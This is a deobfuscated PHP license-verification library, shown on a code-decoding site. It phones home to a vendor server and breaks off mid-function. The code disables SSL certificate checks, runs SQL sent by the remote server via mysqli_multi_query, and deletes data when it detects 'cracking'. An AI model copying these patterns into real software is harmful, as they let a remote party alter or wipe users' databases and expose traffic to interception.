Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function aplCustomEncrypt($string, $key) { $encrypted_string = null; i..

Decoded Output download

<?php 
 
function aplCustomEncrypt($string, $key) 
{ 
    $encrypted_string = null; 
    if (!(!empty($string) && !empty($key))) { 
        goto aCHZZ; 
    } 
    $iv = openssl_random_pseudo_bytes( 
        openssl_cipher_iv_length("aes-256-cbc") 
    ); 
    $encrypted_string = openssl_encrypt( 
        $string, 
        "aes-256-cbc", 
        $key, 
        0, 
        $iv 
    ); 
    $encrypted_string = base64_encode($encrypted_string . "::" . $iv); 
    aCHZZ: 
    return $encrypted_string; 
} 
function aplCustomDecrypt($string, $key) 
{ 
    $decrypted_string = null; 
    if (!(!empty($string) && !empty($key))) { 
        goto Ya1sX; 
    } 
    $string = base64_decode($string); 
    if (!stristr($string, "::")) { 
        goto U459i; 
    } 
    $string_iv_array = explode("::", $string, 2); 
    if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) { 
        goto A2z0B; 
    } 
    list($encrypted_string, $iv) = $string_iv_array; 
    $decrypted_string = openssl_decrypt( 
        $encrypted_string, 
        "aes-256-cbc", 
        $key, 
        0, 
        $iv 
    ); 
    A2z0B: 
    U459i: 
    Ya1sX: 
    return $decrypted_string; 
} 
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF) 
{ 
    $result = false; 
    if ( 
        !( 
            !is_float($number) && 
            filter_var($number, FILTER_VALIDATE_INT, [ 
                "options" => [ 
                    "min_range" => $min_value, 
                    "max_range" => $max_value, 
                ], 
            ]) !== false 
        ) 
    ) { 
        goto NmzoT; 
    } 
    $result = true; 
    NmzoT: 
    return $result; 
} 
function aplValidateRawDomain($url) 
{ 
    $result = false; 
    if (empty($url)) { 
        goto Ezxcw; 
    } 
    if ( 
        preg_match( 
            "/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", 
            strtolower($url) 
        ) 
    ) { 
        goto S7c2L; 
    } 
    $result = false; 
    goto R4Hfe; 
    S7c2L: 
    $result = true; 
    R4Hfe: 
    Ezxcw: 
    return $result; 
} 
function aplGetCurrentUrl($remove_last_slash = null) 
{ 
    $protocol = "http"; 
    $host = null; 
    $script = null; 
    $params = null; 
    $current_url = null; 
    if ( 
        !( 
            (isset($_SERVER["HTTPS"]) && 
                $_SERVER["HTTPS"] !== "off") || 
            (isset( 
                $_SERVER[ 
                    "HTTP_X_FORWARDED_PROTO" 
                ] 
            ) && 
                $_SERVER[ 
                    "HTTP_X_FORWARDED_PROTO" 
                ] == "https") 
        ) 
    ) { 
        goto en2mY; 
    } 
    $protocol = "https"; 
    en2mY: 
    if (!isset($_SERVER["HTTP_HOST"])) { 
        goto nGzG8; 
    } 
    $host = $_SERVER["HTTP_HOST"]; 
    nGzG8: 
    if (!isset($_SERVER["SCRIPT_NAME"])) { 
        goto ln9Y9; 
    } 
    $script = $_SERVER["SCRIPT_NAME"]; 
    ln9Y9: 
    if (!isset($_SERVER["QUERY_STRING"])) { 
        goto G5jYD; 
    } 
    $params = $_SERVER["QUERY_STRING"]; 
    G5jYD: 
    if (!(!empty($protocol) && !empty($host) && !empty($script))) { 
        goto qtnZM; 
    } 
    $current_url = $protocol . "://" . $host . $script; 
    if (empty($params)) { 
        goto xUgd7; 
    } 
    $current_url .= "?" . $params; 
    xUgd7: 
    if (!($remove_last_slash == 1)) { 
        goto PWVPT; 
    } 
    hBtxj: 
    if (!(substr($current_url, -1) == "/")) { 
        goto liGPK; 
    } 
    $current_url = substr($current_url, 0, -1); 
    goto hBtxj; 
    liGPK: 
    PWVPT: 
    qtnZM: 
    return $current_url; 
} 
function aplGetRawDomain($url) 
{ 
    $raw_domain = null; 
    if (empty($url)) { 
        goto m39nY; 
    } 
    $url_array = parse_url($url); 
    if (!empty($url_array["scheme"])) { 
        goto CH80r; 
    } 
    $url = "http://" . $url; 
    $url_array = parse_url($url); 
    CH80r: 
    if (empty($url_array["host"])) { 
        goto Q1Xjk; 
    } 
    $raw_domain = $url_array["host"]; 
    $raw_domain = trim( 
        str_ireplace( 
            "www.", 
            "", 
            filter_var($raw_domain, FILTER_SANITIZE_URL) 
        ) 
    ); 
    Q1Xjk: 
    m39nY: 
    return $raw_domain; 
} 
function aplGetRootUrl( 
    $url, 
    $remove_scheme, 
    $remove_www, 
    $remove_path, 
    $remove_last_slash 
) { 
    if (!filter_var($url, FILTER_VALIDATE_URL)) { 
        goto Q69o7; 
    } 
    $url_array = parse_url($url); 
    $url = str_ireplace( 
        $url_array["scheme"] . "://", 
        "", 
        $url 
    ); 
    if ($remove_path == 1) { 
        goto VZA7A; 
    } 
    $last_slash_position = strripos($url, "/"); 
    if (!($last_slash_position > 0)) { 
        goto d9E38; 
    } 
    $url = substr($url, 0, $last_slash_position + 1); 
    d9E38: 
    goto n2aKc; 
    VZA7A: 
    $first_slash_position = stripos($url, "/"); 
    if (!($first_slash_position > 0)) { 
        goto InWSZ; 
    } 
    $url = substr($url, 0, $first_slash_position + 1); 
    InWSZ: 
    n2aKc: 
    if (!($remove_scheme != 1)) { 
        goto hCC7S; 
    } 
    $url = $url_array["scheme"] . "://" . $url; 
    hCC7S: 
    if (!($remove_www == 1)) { 
        goto qavQj; 
    } 
    $url = str_ireplace("www.", "", $url); 
    qavQj: 
    if (!($remove_last_slash == 1)) { 
        goto veHx_; 
    } 
    Ma7Og: 
    if (!(substr($url, -1) == "/")) { 
        goto meJbk; 
    } 
    $url = substr($url, 0, -1); 
    goto Ma7Og; 
    meJbk: 
    veHx_: 
    Q69o7: 
    return trim($url); 
} 
function aplCustomPost($url, $post_info = null, $refer = null) 
{ 
    $user_agent = 
        "phpmillion cURL"; 
    $connect_timeout = 10; 
    $server_response_array = []; 
    $formatted_headers_array = []; 
    if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) { 
        goto ROIEb; 
    } 
    if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) { 
        goto xzVnU; 
    } 
    $refer = $url; 
    xzVnU: 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); 
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout); 
    curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout); 
    curl_setopt($ch, CURLOPT_REFERER, $refer); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10); 
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use ( 
        &$formatted_headers_array 
    ) { 
        $len = strlen($header); 
        $header = explode(":", $header, 2); 
        if (!(count($header) < 2)) { 
            goto tY4fu; 
        } 
        return $len; 
        tY4fu: 
        $name = strtolower(trim($header[0])); 
        $formatted_headers_array[$name] = trim($header[1]); 
        return $len; 
    }); 
    $result = curl_exec($ch); 
    $curl_error = curl_error($ch); 
    curl_close($ch); 
    $server_response_array[ 
        "headers" 
    ] = $formatted_headers_array; 
    $server_response_array["error"] = $curl_error; 
    $server_response_array["body"] = $result; 
    ROIEb: 
    return $server_response_array; 
} 
function aplVerifyDateTime($datetime, $format) 
{ 
    $result = false; 
    if (!(!empty($datetime) && !empty($format))) { 
        goto VYeRd; 
    } 
    $datetime = DateTime::createFromFormat($format, $datetime); 
    $errors = DateTime::getLastErrors(); 
    if ( 
        !( 
            $datetime && 
            empty( 
                $errors["warning_count"] 
            ) 
        ) 
    ) { 
        goto o0jw8; 
    } 
    $result = true; 
    o0jw8: 
    VYeRd: 
    return $result; 
} 
function aplGetDaysBetweenDates($date_from, $date_to) 
{ 
    $number_of_days = 0; 
    if ( 
        !( 
            aplVerifyDateTime($date_from, "Y-m-d") && 
            aplVerifyDateTime($date_to, "Y-m-d") 
        ) 
    ) { 
        goto NITkM; 
    } 
    $date_to = new DateTime($date_to); 
    $date_from = new DateTime($date_from); 
    $number_of_days = $date_from->diff($date_to)->format("%a"); 
    NITkM: 
    return $number_of_days; 
} 
function aplParseXmlTags($content, $tag_name) 
{ 
    $parsed_value = null; 
    if (!(!empty($content) && !empty($tag_name))) { 
        goto Rd7mT; 
    } 
    preg_match_all( 
        "/<" . 
            preg_quote($tag_name, "/") . 
            ">(.*?)<\/" . 
            preg_quote($tag_name, "/") . 
            ">/ims", 
        $content, 
        $output_array, 
        PREG_SET_ORDER 
    ); 
    if (empty($output_array[0][1])) { 
        goto VbGpu; 
    } 
    $parsed_value = trim($output_array[0][1]); 
    VbGpu: 
    Rd7mT: 
    return $parsed_value; 
} 
function aplParseServerNotifications( 
    $content_array, 
    $ROOT_URL, 
    $CLIENT_EMAIL, 
    $LICENSE_CODE, 
    $product = null 
) { 
    $notifications_array = []; 
    if (!empty($content_array)) { 
        goto hZuWm; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_no_connection"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_NO_CONNECTION; 
    goto eybYy; 
    hZuWm: 
    if ( 
        !empty( 
            $content_array["headers"][ 
                "notification_server_signature" 
            ] 
        ) && 
        aplVerifyServerSignature( 
            $content_array["headers"][ 
                "notification_server_signature" 
            ], 
            $ROOT_URL, 
            $CLIENT_EMAIL, 
            $LICENSE_CODE, 
            $product 
        ) 
    ) { 
        goto jQD2b; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_invalid_response"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_INVALID_RESPONSE; 
    goto O6t8i; 
    jQD2b: 
    $notifications_array[ 
        "notification_case" 
    ] = 
        $content_array["headers"][ 
            "notification_case" 
        ]; 
    $notifications_array[ 
        "notification_text" 
    ] = 
        $content_array["headers"][ 
            "notification_text" 
        ]; 
    if ( 
        empty( 
            $content_array["headers"][ 
                "notification_data" 
            ] 
        ) 
    ) { 
        goto PDkxi; 
    } 
    $notifications_array[ 
        "notification_data" 
    ] = json_decode( 
        $content_array["headers"][ 
            "notification_data" 
        ], 
        true 
    ); 
    PDkxi: 
    O6t8i: 
    eybYy: 
    return $notifications_array; 
} 
function aplGenerateScriptSignature( 
    $ROOT_URL, 
    $CLIENT_EMAIL, 
    $LICENSE_CODE, 
    $product = null 
) { 
    $script_signature = null; 
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
    $product = $product == null ? APL_PRODUCT_ID : $product; 
    if ( 
        !( 
            !empty($ROOT_URL) && 
            isset($CLIENT_EMAIL) && 
            isset($LICENSE_CODE) && 
            !empty($root_ips_array) 
        ) 
    ) { 
        goto Q4GmI; 
    } 
    $script_signature = hash( 
        "sha256", 
        gmdate("Y-m-d") . 
            $ROOT_URL . 
            $CLIENT_EMAIL . 
            $LICENSE_CODE . 
            $product . 
            implode("", $root_ips_array) 
    ); 
    Q4GmI: 
    return $script_signature; 
} 
function aplVerifyServerSignature( 
    $notification_server_signature, 
    $ROOT_URL, 
    $CLIENT_EMAIL, 
    $LICENSE_CODE, 
    $product = null 
) { 
    $result = false; 
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL)); 
    $product = $product == null ? APL_PRODUCT_ID : $product; 
    if ( 
        !( 
            !empty($notification_server_signature) && 
            !empty($ROOT_URL) && 
            isset($CLIENT_EMAIL) && 
            isset($LICENSE_CODE) && 
            !empty($root_ips_array) 
        ) 
    ) { 
        goto KIkV9; 
    } 
    if ( 
        !( 
            hash( 
                "sha256", 
                implode("", $root_ips_array) . 
                    $product . 
                    $LICENSE_CODE . 
                    $CLIENT_EMAIL . 
                    $ROOT_URL . 
                    gmdate("Y-m-d") 
            ) == $notification_server_signature 
        ) 
    ) { 
        goto CC053; 
    } 
    $result = true; 
    CC053: 
    KIkV9: 
    return $result; 
} 
function aplCheckSettings() 
{ 
    $notifications_array = []; 
    if ( 
        !( 
            empty(APL_SALT) || 
            APL_SALT == 
                "some_random_text" 
        ) 
    ) { 
        goto WxXVO; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT; 
    WxXVO: 
    if ( 
        !( 
            !filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || 
            !ctype_alnum(substr(APL_ROOT_URL, -1)) 
        ) 
    ) { 
        goto js46j; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL; 
    js46j: 
    if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) { 
        goto waXdH; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID; 
    waXdH: 
    if (aplValidateIntegerValue(APL_DAYS, 1, 365)) { 
        goto f3UYj; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD; 
    f3UYj: 
    if ( 
        !( 
            APL_STORAGE != "DATABASE" && 
            APL_STORAGE != "FILE" 
        ) 
    ) { 
        goto X5AaO; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE; 
    X5AaO: 
    if ( 
        !( 
            APL_STORAGE == "DATABASE" && 
            !ctype_alnum(str_ireplace(["_"], "", APL_DATABASE_TABLE)) 
        ) 
    ) { 
        goto pijfR; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE; 
    pijfR: 
    if ( 
        !( 
            APL_STORAGE == "FILE" && 
            !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION) 
        ) 
    ) { 
        goto PHYGA; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE; 
    PHYGA: 
    if ( 
        !(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP)) 
    ) { 
        goto dZpbm; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP; 
    dZpbm: 
    if ( 
        !( 
            !empty(APL_ROOT_IP) && 
            !in_array( 
                APL_ROOT_IP, 
                gethostbynamel(aplGetRawDomain(APL_ROOT_URL)) 
            ) 
        ) 
    ) { 
        goto P35C2; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
    P35C2: 
    if ( 
        !( 
            defined( 
                "APL_ROOT_NAMESERVERS" 
            ) && !empty(APL_ROOT_NAMESERVERS) 
        ) 
    ) { 
        goto IMryR; 
    } 
    foreach (APL_ROOT_NAMESERVERS as $nameserver) { 
        if (aplValidateRawDomain($nameserver)) { 
            goto TqLnG; 
        } 
        $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS; 
        goto N6Bba; 
        TqLnG: 
        oH7XN: 
    } 
    N6Bba: 
    IMryR: 
    if ( 
        !( 
            defined( 
                "APL_ROOT_NAMESERVERS" 
            ) && !empty(APL_ROOT_NAMESERVERS) 
        ) 
    ) { 
        goto r55pk; 
    } 
    $apl_root_nameservers_array = APL_ROOT_NAMESERVERS; 
    $fetched_nameservers_array = []; 
    $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS); 
    foreach ($dns_records_array as $record) { 
        $fetched_nameservers_array[] = $record["target"]; 
        nUxPL: 
    } 
    Qavs_: 
    $apl_root_nameservers_array = array_map( 
        "strtolower", 
        $apl_root_nameservers_array 
    ); 
    $fetched_nameservers_array = array_map( 
        "strtolower", 
        $fetched_nameservers_array 
    ); 
    sort($apl_root_nameservers_array); 
    sort($fetched_nameservers_array); 
    if (!($apl_root_nameservers_array != $fetched_nameservers_array)) { 
        goto mMLhh; 
    } 
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS; 
    mMLhh: 
    r55pk: 
    return $notifications_array; 
} 
function aplParseLicenseFile() 
{ 
    $license_data_array = []; 
    if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) { 
        goto NbpNA; 
    } 
    $file_content = file_get_contents( 
        APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION 
    ); 
    preg_match_all( 
        "/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", 
        $file_content, 
        $matches, 
        PREG_SET_ORDER 
    ); 
    if (empty($matches)) { 
        goto hI0sT; 
    } 
    foreach ($matches as $value) { 
        if (!(!empty($value[1]) && $value[1] == $value[3])) { 
            goto lEugi; 
        } 
        $license_data_array[$value[1]] = $value[2]; 
        lEugi: 
        x_aMj: 
    } 
    TKTm9: 
    hI0sT: 
    NbpNA: 
    return $license_data_array; 
} 
function aplGetLicenseData($MYSQLI_LINK = null) 
{ 
    $settings_row = []; 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto jSzxC; 
    } 
    $table_exist = @mysqli_query( 
        $MYSQLI_LINK, 
        "SHOW TABLES LIKE '" . 
            APL_DATABASE_TABLE . 
            "'" 
    ); 
    if (!@mysqli_fetch_assoc($table_exist)) { 
        goto f0xjG; 
    } 
    $settings_results = @mysqli_query( 
        $MYSQLI_LINK, 
        "SELECT * FROM " . 
            APL_DATABASE_TABLE 
    ); 
    $settings_row = @mysqli_fetch_assoc($settings_results); 
    f0xjG: 
    jSzxC: 
    if (!(APL_STORAGE == "FILE")) { 
        goto B4ovf; 
    } 
    $settings_row = aplParseLicenseFile(); 
    B4ovf: 
    return $settings_row; 
} 
function aplCheckConnection() 
{ 
    $notifications_array = []; 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/connection_test.php", 
        "product_id=" . 
            rawurlencode(APL_PRODUCT_ID) . 
            "&connection_hash=" . 
            rawurlencode( 
                hash( 
                    "sha256", 
                    "connection_test" 
                ) 
            ) 
    ); 
    if (!empty($content_array)) { 
        goto EhPcC; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_no_connection"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_NO_CONNECTION; 
    goto a43Pw; 
    EhPcC: 
    if ( 
        !( 
            $content_array["body"] != 
            "<connection_test>OK</connection_test>" 
        ) 
    ) { 
        goto zLWv3; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_invalid_response"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_INVALID_RESPONSE; 
    zLWv3: 
    a43Pw: 
    return $notifications_array; 
} 
function aplCheckData($MYSQLI_LINK = null) 
{ 
    $error_detected = 0; 
    $cracking_detected = 0; 
    $data_check_result = false; 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    if ( 
        !( 
            !empty($ROOT_URL) && 
            !empty($INSTALLATION_HASH) && 
            !empty($INSTALLATION_KEY) && 
            !empty($LCD) && 
            !empty($LRD) 
        ) 
    ) { 
        goto NV_66; 
    } 
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY); 
    if ( 
        !( 
            !filter_var($ROOT_URL, FILTER_VALIDATE_URL) || 
            !ctype_alnum(substr($ROOT_URL, -1)) 
        ) 
    ) { 
        goto oMJJ1; 
    } 
    $error_detected = 1; 
    oMJJ1: 
    if ( 
        !( 
            filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && 
            stristr( 
                aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), 
                aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1) 
            ) === false 
        ) 
    ) { 
        goto ONtyX; 
    } 
    $error_detected = 1; 
    ONtyX: 
    if ( 
        !( 
            empty($INSTALLATION_HASH) || 
            $INSTALLATION_HASH != 
                hash( 
                    "sha256", 
                    $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE 
                ) 
        ) 
    ) { 
        goto tARGM; 
    } 
    $error_detected = 1; 
    tARGM: 
    if ( 
        !( 
            empty($INSTALLATION_KEY) || 
            !password_verify( 
                $LRD, 
                aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL) 
            ) 
        ) 
    ) { 
        goto tnqvg; 
    } 
    $error_detected = 1; 
    tnqvg: 
    if (aplVerifyDateTime($LCD, "Y-m-d")) { 
        goto Q933E; 
    } 
    $error_detected = 1; 
    Q933E: 
    if (aplVerifyDateTime($LRD, "Y-m-d")) { 
        goto BdmX1; 
    } 
    $error_detected = 1; 
    BdmX1: 
    if ( 
        !( 
            aplVerifyDateTime($LCD, "Y-m-d") && 
            $LCD > 
                date("Y-m-d", strtotime("+1 day")) 
        ) 
    ) { 
        goto u4jpk; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    u4jpk: 
    if ( 
        !( 
            aplVerifyDateTime($LRD, "Y-m-d") && 
            $LRD > 
                date("Y-m-d", strtotime("+1 day")) 
        ) 
    ) { 
        goto k2W2n; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    k2W2n: 
    if ( 
        !( 
            aplVerifyDateTime($LCD, "Y-m-d") && 
            aplVerifyDateTime($LRD, "Y-m-d") && 
            $LCD > $LRD 
        ) 
    ) { 
        goto c0cPI; 
    } 
    $error_detected = 1; 
    $cracking_detected = 1; 
    c0cPI: 
    if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) { 
        goto hBQ0n; 
    } 
    aplDeleteData($MYSQLI_LINK); 
    hBQ0n: 
    if (!($error_detected != 1 && $cracking_detected != 1)) { 
        goto CLgzh; 
    } 
    $data_check_result = true; 
    CLgzh: 
    NV_66: 
    return $data_check_result; 
} 
function aplVerifyEnvatoPurchase($LICENSE_CODE = null) 
{ 
    $notifications_array = []; 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/verify_envato_purchase.php", 
        "product_id=" . 
            rawurlencode(APL_PRODUCT_ID) . 
            "&license_code=" . 
            rawurlencode($LICENSE_CODE) . 
            "&connection_hash=" . 
            rawurlencode( 
                hash( 
                    "sha256", 
                    "verify_envato_purchase" 
                ) 
            ) 
    ); 
    if (!empty($content_array)) { 
        goto BD52N; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_no_connection"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_NO_CONNECTION; 
    goto XR0wA; 
    BD52N: 
    if ( 
        !( 
            $content_array["body"] != 
            "<verify_envato_purchase>OK</verify_envato_purchase>" 
        ) 
    ) { 
        goto gUbC6; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_invalid_response"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_INVALID_RESPONSE; 
    gUbC6: 
    XR0wA: 
    return $notifications_array; 
} 
function incevioVerify( 
    $ROOT_URL, 
    $CLIENT_EMAIL, 
    $LICENSE_CODE, 
    $MYSQLI_LINK = null 
) { 
    $notifications_array = []; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto SJIZD; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_script_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = implode("; ", $apl_core_notifications); 
    goto v8DSN; 
    SJIZD: 
    if ( 
        !empty(aplGetLicenseData($MYSQLI_LINK)) && 
        is_array(aplGetLicenseData($MYSQLI_LINK)) 
    ) { 
        goto OtsK5; 
    } 
    $INSTALLATION_HASH = hash( 
        "sha256", 
        $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE 
    ); 
    $post_info = 
        "product_id=" . 
        rawurlencode(APL_PRODUCT_ID) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_install.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    if ( 
        !( 
            $notifications_array[ 
                "notification_case" 
            ] == 
            "notification_license_ok" 
        ) 
    ) { 
        goto CIawu; 
    } 
    $INSTALLATION_KEY = aplCustomEncrypt( 
        password_hash(date("Y-m-d"), PASSWORD_DEFAULT), 
        APL_SALT . $ROOT_URL 
    ); 
    $LCD = aplCustomEncrypt( 
        date( 
            "Y-m-d", 
            strtotime("-" . APL_DAYS . " days") 
        ), 
        APL_SALT . $INSTALLATION_KEY 
    ); 
    $LRD = aplCustomEncrypt( 
        date("Y-m-d"), 
        APL_SALT . $INSTALLATION_KEY 
    ); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto FZ2kU; 
    } 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_scheme.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    if ( 
        !( 
            !empty( 
                $notifications_array[ 
                    "notification_data" 
                ] 
            ) && 
            !empty( 
                $notifications_array[ 
                    "notification_data" 
                ]["scheme_query"] 
            ) 
        ) 
    ) { 
        goto GK5HD; 
    } 
    $mysql_bad_array = [ 
        "%APL_DATABASE_TABLE%", 
        "%ROOT_URL%", 
        "%CLIENT_EMAIL%", 
        "%LICENSE_CODE%", 
        "%LCD%", 
        "%LRD%", 
        "%INSTALLATION_KEY%", 
        "%INSTALLATION_HASH%", 
    ]; 
    $mysql_good_array = [ 
        APL_DATABASE_TABLE, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE, 
        $LCD, 
        $LRD, 
        $INSTALLATION_KEY, 
        $INSTALLATION_HASH, 
    ]; 
    $license_scheme = str_replace( 
        $mysql_bad_array, 
        $mysql_good_array, 
        $notifications_array[ 
            "notification_data" 
        ]["scheme_query"] 
    ); 
    mysqli_multi_query($MYSQLI_LINK, $license_scheme) or 
        die(mysqli_error($MYSQLI_LINK)); 
    GK5HD: 
    FZ2kU: 
    if (!(APL_STORAGE == "FILE")) { 
        goto DX404; 
    } 
    $handle = @fopen( 
        APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, 
        "w+" 
    ); 
    $fwrite = @fwrite( 
        $handle, 
        "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>" 
    ); 
    if (!($fwrite === false)) { 
        goto wTMT2; 
    } 
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
    exit(); 
    wTMT2: 
    @fclose($handle); 
    DX404: 
    CIawu: 
    goto VNKIB; 
    OtsK5: 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_already_installed"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED; 
    VNKIB: 
    v8DSN: 
    return $notifications_array; 
} 
function preparePackageInstallation($installable) 
{ 
    $notifications_array = []; 
    $apl_core_notifications = aplCheckSettings(); 
    if (!empty($apl_core_notifications)) { 
        goto C8gTx; 
    } 
    $MYSQLI_LINK = getMysqliConnection(); 
    $core_license = aplGetLicenseData($MYSQLI_LINK); 
    if (!(empty($core_license) || !is_array($core_license))) { 
        goto N2ayF; 
    } 
    throw new \Exception( 
        "Core script license " . 
            "validation" . 
            " failed! Please contact" . 
            " support for help." 
    ); 
    N2ayF: 
    $CLIENT_EMAIL = 
        $core_license["CLIENT_EMAIL"]; 
    $LICENSE_CODE = 
        $installable["license_key"]; 
    $ROOT_URL = config("app.url"); 
    $INSTALLATION_HASH = hash( 
        "sha256", 
        $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE 
    ); 
    $post_info = 
        "product_id=" . 
        rawurlencode($installable["id"]) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature( 
                $ROOT_URL, 
                $CLIENT_EMAIL, 
                $LICENSE_CODE, 
                $installable["id"] 
            ) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_install.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE, 
        $installable["id"] 
    ); 
    if ( 
        $notifications_array[ 
            "notification_case" 
        ] == 
        "notification_license_ok" 
    ) { 
        goto Hsfq2; 
    } 
    if ( 
        empty( 
            $notifications_array[ 
                "notification_text" 
            ] 
        ) 
    ) { 
        goto ScK3u; 
    } 
    throw new \Exception( 
        "License " . 
            "validation" . 
            " failed! " . 
            $notifications_array[ 
                "notification_text" 
            ] 
